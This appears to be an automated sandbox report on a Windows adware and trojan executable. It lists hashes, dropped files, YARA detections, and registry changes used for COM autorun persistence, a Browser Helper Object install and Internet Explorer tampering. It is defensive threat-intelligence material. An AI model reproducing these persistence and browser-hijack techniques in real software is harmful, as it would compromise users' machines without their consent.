55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465

Analysis

max time kernel
179s
max time network
186s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
19/09/2022, 18:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
Size

4.2MB
MD5

c3785771b5df63658001e30677d4d0ff
SHA1

3e7eab0bedbe34011a6a2881e7ccc65fea6c7f67
SHA256

55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465
SHA512

42e4bbea2b139edb0c6be803d83d7062f471473c57bd948ba95ecd5196e14995c94c3403696b91afeb4e8fc0d26c2da6d1f72aef43596ddd7ee742f07869ef08
SSDEEP

98304:r85p2b1Bh9BjXmLHcgIge4J1UJhBDfAJTB2Hosvc/ZCgT1XHUxxtY0QSIZ0lVG5F:xb1Byre4J1UJh9fUlVT13Uxc0QL0HqF

Score

9^/10

adware discovery evasion persistence stealer trojan upx

Malware Config

Signatures

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0006000000015d25-87.dat	acprotect
behavioral1/files/0x0006000000015cb6-88.dat	acprotect

Executes dropped EXE 5 IoCs

pid	Process
944	t2.exe
2012	test.exe
1776	test.exe
568	bho.exe
1736	jisutv.exe

Registers COM server for autorun 1 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32\ = "C:\\Program Files (x86)\\¼«ËÙµçÊÓ\\Kernel\\cctv\\CCTVUpdateInstall.dll"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32\ThreadingModel = "Apartment"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{38943A5A-33BB-4D28-909A-BF52B994D26A}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{38943A5A-33BB-4D28-909A-BF52B994D26A}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\cctv\\CCTVPL~1.OCX"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\cctv\\CCTVPL~1.OCX"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32\ThreadingModel = "Apartment"	t2.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000015d25-87.dat	upx
behavioral1/files/0x0006000000015cb6-88.dat	upx
behavioral1/files/0x000600000001420d-101.dat	upx
behavioral1/files/0x000600000001420d-107.dat	upx
behavioral1/files/0x000600000001420d-109.dat	upx
behavioral1/files/0x000600000001420d-111.dat	upx
behavioral1/files/0x000600000001420d-110.dat	upx
behavioral1/files/0x000600000001420d-105.dat	upx
behavioral1/memory/568-134-0x0000000000400000-0x0000000000418000-memory.dmp	upx
behavioral1/memory/568-143-0x0000000000400000-0x0000000000418000-memory.dmp	upx

Loads dropped DLL 26 IoCs

pid	Process
1508	WScript.exe
1508	WScript.exe
1508	WScript.exe
1508	WScript.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
944	t2.exe
1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
944	t2.exe
568	bho.exe
568	bho.exe
568	bho.exe
944	t2.exe
944	t2.exe
1736	jisutv.exe
1736	jisutv.exe
1736	jisutv.exe
788	regsvr32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jisutv.exe

Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

BHOs are DLL modules which act as plugins for Internet Explorer.

stealer adware

Modify Registry

T1112

Browser Extensions

T1176

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}\ = "??????"	regedit.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\VOLUME_SLIDER_HOVER.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\9ptv.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files\Thunder\ComDlls	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\liveupdate.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PAUSE_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\FULLSCREEN_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\adv\default\home.html	t2.exe
File created	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files\Internet Explorer\MUI\iexplore.exe	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\SOPLOGO_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\9ptv.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\1.vbs	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\in_net.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PLAY_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese GB.Ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\cctv\CCTVUpdateInstall.dll	t2.exe
File created	C:\Program Files (x86)\winsoft9\qq.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\DURATION_SLIDER_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\adv\SopAdver.exe	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\uninst.exe	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\UNMUTE_HOVER.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\test.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\bho.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Japanese.ini	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\3.vbs	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\chis.ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\zlib.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\MUTE_HOVER.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files\Internet Explorer\MUI\iexplore.exe	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\sopvod.exe	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\DURATION_SLIDER_PRESSED.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\UNMUTE_PRESSED.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\3.bat	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\t2.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\downloader.dll	t2.exe
File created	C:\Program Files (x86)\winsoft9\game.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\bho.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\config.xml	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\STOP_DISABLED.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\sopcore.xml	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\clear.bat	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\adv\default\Thumbs.db	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\trafficlight.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\STOP_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\VOLUME_SLIDER_NORMAL.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\game.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\English.Ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\State.dll	t2.exe
File opened for modification	C:\Program Files\Common Files\iexplore.exe	test.exe
File opened for modification	C:\Program Files\Thunder\ComDlls	test.exe
File opened for modification	C:\Program Files (x86)\winsoft9\3.bat	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\taobao.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\2222.vbs	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese BIG5.Ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\readme.txt	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PLAY_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\77zb.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\kusila.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\t2.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\EXPLAYER_HOVER.bmp	t2.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\userid.txt	bho.exe
File opened for modification	C:\Windows\aoedirahuuqzulnyvtbm\dllduyesaculc.dll	bho.exe
File created	C:\Windows\reg.reg	bho.exe
File created	C:\WINDOWS\Downloaded Program Files\csdnsd.exe	test.exe
File opened for modification	C:\WINDOWS\Downloaded Program Files\csdnsd.exe	test.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 7 IoCs

installer

resource	yara_rule
behavioral1/files/0x000600000001422f-58.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-59.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-60.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-62.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-78.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-77.dat	nsis_installer_2
behavioral1/files/0x000600000001422f-76.dat	nsis_installer_2

Modifies Internet Explorer settings 1 TTPs 46 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	test.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{36063CF1-38A1-11ED-B2BF-6651945CA213} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Frist	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30a72729aeccd801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370415047"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Frist	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a300000000020000000000106600000001000020000000d2fcd81c480f258891bceecb8c0c292b58e62c638228c5f7344ce1c86b9ed13a000000000e8000000002000020000000845fd6e3f10b901039c5008fc43db780a517794b9dcc3770edf63fcdddacd987200000003aa3be9447404322a417489c82b04926f73f588f4e5dde50461e607c769baa5540000000a793fe6bcaa2f5e9627dc55f045983d6abd7b663ad63a652bad0d81d9e04adc5ab17a40f44a016c9f372e58e456c5b487f570321f583a02a30ecaf831ac9dcd0	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a300000000020000000000106600000001000020000000bee9030d798dfd5041512f58a41e6d3a43034a507c4ddbd5ebf4a6b739524d7d000000000e8000000002000020000000bc8325c1bfe23e755dbf34ac9f8fb961d78b3fe1692aad6060271dc29ae1744a90000000dfac0b64f6959cec3f0e4150d9e70dcacde3d8d3a235b9d7902bc097a4624931ae2a9222053da3b7a2bdeca97f08e632b86ed445708e733e87a710864bdac6bd3aa2646a4ca20beaa0f072154703f71cbfb175285f9f3df91d9eb7e7887a8f4d792361a44e2c61d47abd82ca3fc6552f7513fd32d01ca06c655908ca768e08726b9265dd02e321d1c1e8d4ff7d8cf53640000000ba026a3efdbd949c029659a8706017d1d3e251177664e3020350e716071cbff67a15ec26cc32e72b8c5c25c82f42da4538867f6b2adfa7dfcb8041ce8f1587b8	iexplore.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}\1.1\0	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\ToolboxBitmap32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\cctv\\CCTVPL~1.OCX, 1"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{78ABDC59-D8E7-44D3-9A76-9A0918C52B4A}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E9536BC6-75F4-4CC7-A0AC-56A366BB9D12}\TypeLib\ = "{8A6847C0-D132-4FDC-A667-7751C0075A0E}"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}\1.1\FLAGS\ = "2"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\ProgID	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\TypeLib	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Downloader.DLoader	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\ProxyStubClsid32	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Component Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{070CA17A-4BD2-4612-83B4-32B1B9159B48}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Downloader.DLoader\ = "DLoader Class"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}\TypeLib	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar\CurVer	t2.exe
